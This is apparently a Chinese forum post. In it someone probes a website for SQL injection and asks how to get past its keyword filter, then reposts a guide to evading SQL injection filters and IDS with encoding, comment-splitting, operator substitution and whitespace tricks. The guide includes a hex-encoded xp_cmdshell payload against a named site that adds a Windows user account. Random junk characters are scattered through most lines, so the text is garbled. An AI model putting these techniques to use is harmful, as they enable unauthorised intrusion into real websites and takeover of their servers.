路过这个网站,检测了一下.
# d# G( e. W4 v+ F+ [) rhttp://www.xxx.cn/Article.asp?ID=117 and 1=15 Z8 m. F4 V) q% X+ M
直接返回主页8 V0 H1 |8 k7 d) b9 }2 [% T
http://www.xxx.cn/Article.asp?ID=117 or 1=1* O2 ^7 T1 q. d6 P+ B5 O9 P
直接返回主页3 M7 r0 r* u4 G' G/ @1 }) E$ c
http://www.xxx.cn/Article.asp?ID=117 or
0 z. z, ]* V+ _" Y: l9 l没有返回主页 没有过滤or% b( Y4 a' Q/ V3 T; r3 X
http://www.xxx.cn/Article.asp?ID=117 and
' r7 @! Q/ d. ], w8 F9 h直接返回主页 看来过滤了and
. ~" Z: R- l C) Fhttp://www.xxx.cn/Article.asp?ID=117 or 14 _; T j5 P- u8 E, Z
没有返回主页 即没有过滤or 也没有过滤1
9 X6 i- T( i* h1 l! @2 rhttp://www.xxx.cn/Article.asp?ID=117 or 1=1- L* n' \6 {, z8 E3 w P1 t9 d2 K
直接返回主页 很明显过滤了等号
) H; d S p4 a4 y) ~' V1 Cor的特性是与and相反的.* b( B! t0 d0 S( m ~: A
or 1=1 爆错 或与原页面不同/ t" y' c7 S% l, H" {# \
or 1=2 原页面相同7 y! H3 k4 }/ L5 Z) i$ h# [
这样就是一个注入点
+ A& d% t6 V, e% c/ s- L* ?- o但他过滤了=号 我就用><号代替=号吧!
* Y7 @7 |) O- G! ?or 1<2 很明显是正确的,所以应该与原页面不同# C7 m7 s3 p% P `4 N$ _
or 1>2 很明显是错误的,所以应该与原页面相同 f3 v0 }: J5 \
然后看看有没有过滤其他的查询语句,比如select.
$ D0 o( C0 m+ W. `+ k u1 a' nhttp://www.xxx.cn/Article.asp?ID=117 select
. G% p0 W- Y/ y. n, X直接返回主页% M |" v5 }3 n- K4 t
又迷茫了..
4 z f" i5 v+ L
/ _ @4 ?% j# u; D( O
7 ]3 a4 o- x) A# acookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗2 j0 K+ V) m1 j1 b7 J+ J
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)+ q: D$ R- L" D0 y5 r
================================================
% _8 [: s' F8 p" H2 }" ]& i以下是转贴:0 R4 a, J3 {9 o1 N: \4 s' R# L
, `! z, t3 g8 W/ _$ g$ y
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… # R7 R" d3 g1 r) \
经过我的收集,大部分的防注入程序都过滤了以下关键字:
( |1 A0 J" |' _8 ]and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
, n4 ?# x& m+ ^3 K8 z( W而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 2 e" s9 n4 Y/ \' h7 w5 X) C
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 7 t1 q$ [ L1 f; h$ }7 n6 b
1、运用编码技术绕过 % U# O* ^9 y) o+ ^, G1 Z
如URLEncode编码,ASCII编码绕过。例如or 1=1即
- Z, d* ^! p( D%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2 |* L ?. y6 L+ Y* r
6 E7 e1 c4 }, K) V4 T- R$ O# ?2、通过空格绕过 8 O6 e, B/ w. V$ ~! o( d7 J8 S: u
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 " W) f6 X1 V7 B) Y) {4 f2 V( I7 C7 ^
or’ swords’ =‘swords’
3 }4 Z, d+ b3 q: Y8 r6 y/ f,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
$ B2 m+ d4 a. N8 r+ T3、运用字符串判断代替 + k" d! b- q, ^! y l+ I
用经典的or 1=1判断绕过,如
9 s ~7 ~) B" x' o% Jor ’swords’ =’swords’ ! E4 y3 N9 c b, X S$ `0 `6 T
,这个方法就是网上在讨论的。 8 L' F& c }9 t8 y. y, h5 n( m
4、通过类型转换修饰符N绕过
" Z$ V1 E' H8 L可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
- ?1 M5 f/ g9 v2 v/ z& L) p# G! }5、通过+号拆解字符串绕过 ' Y% _% W6 e' K. q. @; q3 N) y, U
效果值得考证,但毕竟是一种方法。如 # U) a% @, d3 ]8 |2 \, N: u
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) # {) A( V ]1 `
$ [$ c1 {4 B) A- ~
6、通过LIKE绕过
& w# V! f# U& \$ n9 K8 O以前怎么就没想到呢?如or
* G [( ~1 k5 S’swords’ LIKE ’sw’ 2 V+ `2 ^5 I1 M1 J; _, @" Q
!!!显然可以很轻松的绕过 e' `9 P8 r9 U* T0 s6 X! K2 Q
“=”“>”
) K4 ]1 Q; `8 g( v的限制……
6 F1 |6 w: v9 \ K5 A7、通过IN绕过 6 b: g) W: M- N$ ~0 F. r
与上面的LIKE的思路差不多,如
. E5 b* G% H- |% H; U+ Qor ’swords’ IN (’swords’)
# k H) {' p+ [( C" H# O- ^( c Z( l& X! c
8、通过BETWEEN绕过 6 u" J0 B# `5 B ~. T3 J4 X
如 + k/ c% d2 W4 u7 D( ]6 C( W
or ’swords’ BETWEEN ’rw’ AND ’tw’ 6 f1 Q/ v, y( w2 ~$ s/ {6 r( e% }
" {& v5 L, O6 ]9、通过>或者<绕过
" U0 W F0 N% X3 D$ Tor ’swords’ > ’sw’
! ?4 N; }! G' V* gor ’swords’ < ’tw’
# `% J3 T5 J7 a$ J, _. `or 1<3 % K; p& j3 _% s/ N( Z$ ^& K" V; O6 [
……
5 p' @4 d" R5 d, `1 L: A% P10、运用注释语句绕过
9 C2 o" |% J- h$ F用/**/代替空格,如: ; \ f6 p H8 W6 `
UNION /**/ Select /**/user,pwd,from tbluser # Q5 `9 v0 X" x1 X4 U
$ i9 o6 p, o! _: X! A1 i# M0 n
用/**/分割敏感词,如:
5 {' h3 @) p" eU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
- ?: t* h9 ^% D' z+ O+ F
/ }# B6 g5 b* t, p7 n- n9 @4 s11、用HEX绕过,一般的IDS都无法检测出来
* C# @7 l! v; A0x730079007300610064006D0069006E00 =hex(sysadmin) 1 R5 W, E, j* H1 g6 m
0x640062005F006F0077006E0065007200 =hex(db_owner) ' D& A+ l8 R$ ]4 H! Z
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: . k( b; F( z; p* p
declare @a sysname . ^8 p8 B/ l1 C) w0 h
select @a=
7 X. L& Q! T7 ]6 L+ S" b, |% W1 B2 N exec master.dbo.xp_cmdshell @a
3 u5 ?3 X, @' F. \9 Y R! s* T3 B效果
. \: ^' \! x% Hhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
) x" n6 X8 w2 \1 L4 k0 v, V4 W- @& R0 e, Q# Z
其中的
$ ?5 U7 c0 C, K0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
+ U+ [# l9 A3 W: I7 }! |9 ` Z- d就是 : ^7 G0 E3 n$ s; {4 u+ R6 L( Q1 g
“net user angel pass /add”$ T) [( K; A; U4 e
9 w* ^' Z) V+ C8 c; h
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。( p# E" i5 q7 i- a/ Q+ `- I5 d
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
$ n2 k1 q# y* v. m" m) Q M另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
8 B7 B$ l5 W" u- x& }Copy code
+ A% f% f& F; M$ D( f- L3 E, a2 |* N- t$ Dselect * from table exec xp_cmdshell'xxxxxxxxxx'
( K) p0 p. e1 c1 T5 M9 h
+ O% R# y8 E1 {* _' c# W$ a; ~
) G9 ^1 D# c) Z$ A+ V+ ~; E3 oselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
8 @' }' n7 d- X. k; Q+ m
% ~1 n0 O+ h* |/ ^( \1 T9 v
5 X3 D$ M7 t8 y# T3 t& @select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'" Q+ z4 J8 I# m } v" y
+ B! G3 c) S, P) w. B6 k7 S
$ q; O* F0 b2 n! ?select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
4 v# N' j2 ]. H
@. S; s& H* Z+ M* X的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
; g% }! t3 _- h# `. k* ?, T* c1 K
. x5 [0 P8 J4 {0 S! W. B这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了6 K0 R' g& E9 l: X
可能大家早就知道了,不管怎么说,发在这里吧!- _" \ S: K* B2 x, ?
* k" b3 ?3 t# N7 U* w# n; d/ w
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。$ u" f, ]: y8 |# n5 F! ?( X8 _ u
+ }( s$ j( ]& R* R6 n+ J' q/ c/ @
% a) ^7 _* N: g# z# o
r) i: o0 w0 j3 q' u1 A对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
/ f6 g; C* ^- v, q比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
3 ^8 c+ r* N! r8 L! X- {' A9 L: n% T2 b. K9 D' I& v9 Y7 g
|